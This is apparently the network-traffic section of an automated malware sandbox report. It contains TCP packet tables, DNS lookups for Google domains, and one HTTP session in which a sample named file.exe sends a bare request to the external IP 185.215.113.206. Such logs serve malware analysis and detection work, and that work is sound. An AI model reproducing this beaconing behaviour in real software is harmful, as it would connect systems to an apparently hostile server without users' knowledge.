Oct 28, 2024 06:28:41.334881067 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.335026979 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.335042953 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.383070946 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.383125067 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.383213997 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.383254051 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.383378029 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.383570910 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.383570910 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.383618116 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.383646011 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.386318922 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.386358976 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.386440992 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.386580944 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.386596918 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.033597946 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.034188032 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.034244061 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.034801006 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.034816027 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.047765017 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.048275948 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.048341990 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.048707962 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.048723936 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.080611944 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.081010103 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.081023932 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.081429005 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.081434965 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.122334003 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.122766018 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.122786045 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.123172998 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.123177052 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.167649031 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.167717934 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.167789936 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.167815924 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.167861938 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.167911053 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.168006897 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.168025017 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.168049097 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.168056965 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.170821905 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.170851946 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.170917988 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.171053886 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.171063900 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253611088 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253695011 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253755093 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.253782988 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253876925 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.253881931 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253920078 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.253961086 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.254087925 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.254105091 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.254118919 CET	50017	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.254123926 CET	443	50017	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.257000923 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.257023096 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.257078886 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.257232904 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.257246971 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.291654110 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.291712046 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.291763067 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.291791916 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.291866064 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.291903973 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.292157888 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.300117970 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.300204992 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.300228119 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.300265074 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.300265074 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.300271988 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.300318003 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.300321102 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.300355911 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.302892923 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.302923918 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.303040028 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.303131104 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.303148031 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.326316118 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.326375961 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.326421022 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.326443911 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.326457977 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.326486111 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.326509953 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.334800959 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.334851027 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.334908962 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.334919930 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.334939957 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.334979057 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.334995985 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.335043907 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.350239038 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.350261927 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.350272894 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.350279093 CET	443	50016	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.356534004 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.356589079 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.356658936 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.356812000 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.356823921 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.539777040 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.540369034 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.540426016 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.540884972 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.540899992 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.830682993 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.830712080 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.830787897 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.830810070 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.830866098 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.831041098 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.831083059 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.831111908 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.831126928 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.833775997 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.833812952 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.833887100 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.834132910 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.834137917 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.965677023 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.967812061 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.967830896 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:42.968319893 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:42.968323946 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.000049114 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.030917883 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.030951977 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.031404972 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.031410933 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.040858030 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.057688951 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.057712078 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.058229923 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.058234930 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.095109940 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.095176935 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.095237017 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.095251083 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.095429897 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.095482111 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.095659971 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.096472979 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.096492052 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.096502066 CET	50018	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.096507072 CET	443	50018	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.114168882 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.114193916 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.118316889 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.118324995 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.130407095 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.130439043 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.130501032 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.134241104 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.134254932 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.158566952 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.158921003 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.158993006 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.159827948 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.159843922 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.159853935 CET	50019	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.159859896 CET	443	50019	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.184370995 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.184612989 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.184688091 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.192322969 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.192322969 CET	50020	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.192338943 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.192348957 CET	443	50020	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.213012934 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.213052988 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.213116884 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.224091053 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.224107027 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.232882023 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.232924938 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.232996941 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.236711979 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.236728907 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.245604992 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.245769978 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.245826006 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.248116016 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.248131990 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.248143911 CET	50021	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.248150110 CET	443	50021	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.250812054 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.250832081 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.250891924 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.251040936 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.251055956 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.579090118 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.579618931 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.579637051 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.580137014 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.580142021 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.710695982 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.710797071 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.710935116 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.711096048 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.711112022 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.711134911 CET	50022	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.711139917 CET	443	50022	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.714360952 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.714404106 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.714473963 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.714626074 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.714643955 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.880707026 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.881342888 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.881367922 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.881776094 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.881783962 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.967036963 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.967472076 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.967494965 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.967955112 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.967959881 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.968785048 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.969089985 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.969119072 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:43.969470978 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:43.969479084 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.000207901 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.000554085 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.000562906 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.000940084 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.000945091 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.012258053 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.012320995 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.012377024 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.012398005 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.012546062 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.012552023 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.012577057 CET	50023	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.012623072 CET	443	50023	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.096685886 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.096837997 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.096910954 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.097073078 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.097091913 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.097101927 CET	50024	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.097107887 CET	443	50024	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.099345922 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.099513054 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.099581957 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.099642992 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.099663973 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.099689960 CET	50025	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.099697113 CET	443	50025	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.136996984 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.137196064 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.137255907 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.137319088 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.137327909 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.137351036 CET	50026	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.137356043 CET	443	50026	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.465384007 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.465998888 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.466090918 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.466484070 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.466500044 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.597450018 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.597805023 CET	443	50027	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:44.597956896 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.597958088 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.597958088 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.899107933 CET	50027	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:44.899156094 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 06:27:08.933427095 CET	53	60383	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:08.948286057 CET	53	55064	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:09.230921984 CET	61835	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:09.231110096 CET	55462	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:09.238392115 CET	53	55462	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:09.238872051 CET	53	61835	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:10.217343092 CET	53	58244	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:12.702069044 CET	56029	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:12.702327967 CET	65460	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:12.707386017 CET	53	59043	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:12.709718943 CET	53	56029	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:12.710933924 CET	53	65460	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:13.699354887 CET	58968	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:13.699505091 CET	55934	53	192.168.2.4	1.1.1.1
Oct 28, 2024 06:27:13.706916094 CET	53	58968	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:13.707077026 CET	53	55934	1.1.1.1	192.168.2.4
Oct 28, 2024 06:27:19.250669003 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 06:27:09.230921984 CET	192.168.2.4	1.1.1.1	0x9a67	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:09.231110096 CET	192.168.2.4	1.1.1.1	0x5e1b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 28, 2024 06:27:12.702069044 CET	192.168.2.4	1.1.1.1	0xd904	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:12.702327967 CET	192.168.2.4	1.1.1.1	0x7c54	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 28, 2024 06:27:13.699354887 CET	192.168.2.4	1.1.1.1	0x2646	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:13.699505091 CET	192.168.2.4	1.1.1.1	0x3c68	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 06:27:09.238392115 CET	1.1.1.1	192.168.2.4	0x5e1b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 28, 2024 06:27:09.238872051 CET	1.1.1.1	192.168.2.4	0x9a67	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:12.709718943 CET	1.1.1.1	192.168.2.4	0xd904	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 06:27:12.709718943 CET	1.1.1.1	192.168.2.4	0xd904	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:12.710933924 CET	1.1.1.1	192.168.2.4	0x7c54	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 06:27:13.706916094 CET	1.1.1.1	192.168.2.4	0x2646	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

play.google.com

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7468	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 06:27:01.701535940 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 06:27:02.609095097 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
